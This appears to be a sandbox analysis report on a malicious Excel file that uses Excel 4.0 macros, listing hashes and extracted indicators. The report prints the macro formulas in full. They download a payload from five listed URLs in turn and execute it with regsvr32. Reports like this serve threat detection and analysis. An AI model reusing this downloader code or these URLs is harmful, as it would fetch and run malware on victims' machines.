General
-
Target
26c4a74ba51f91803da63e057a443a35326c0680932fa16e439b08ac6f7d7e3d
-
Size
173KB
-
MD5
301f457cded437201a9912ffde997835
-
SHA1
347db30264f1db1bf826f96d8744a0abce71ca6e
-
SHA256
26c4a74ba51f91803da63e057a443a35326c0680932fa16e439b08ac6f7d7e3d
-
SHA512
d04f674e7d7360838b4aeac73a92f29727458ebe409171153083efeb6f631750b2047d6b2f4d83c1043e0167a0c35ff3dfb6732d2180a46fd199bc548a1a98db
-
SSDEEP
3072:V8UjKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SS:V8SKwtyfsBMtuqBqBqrhyqBqBqBqrhyk
Malware Config
Extracted
https://realitevirtuelleguadeloupe.com/warp-visa/xogkV/
https://nuugebeya.com/wp-content/LqCYYSBQ/
https://larassatistore.com/mail.tie-collection.my.id/SZZ0/
https://bimbeladzkia.com/1600-arrow/njvK9lEVwMfxQyw/
https://vendedoramigo.com.br/wp-admin/tfQwLyk4/
-
formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://realitevirtuelleguadeloupe.com/warp-visa/xogkV/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://nuugebeya.com/wp-content/LqCYYSBQ/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://larassatistore.com/mail.tie-collection.my.id/SZZ0/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bimbeladzkia.com/1600-arrow/njvK9lEVwMfxQyw/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vendedoramigo.com.br/wp-admin/tfQwLyk4/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
26c4a74ba51f91803da63e057a443a35326c0680932fa16e439b08ac6f7d7e3d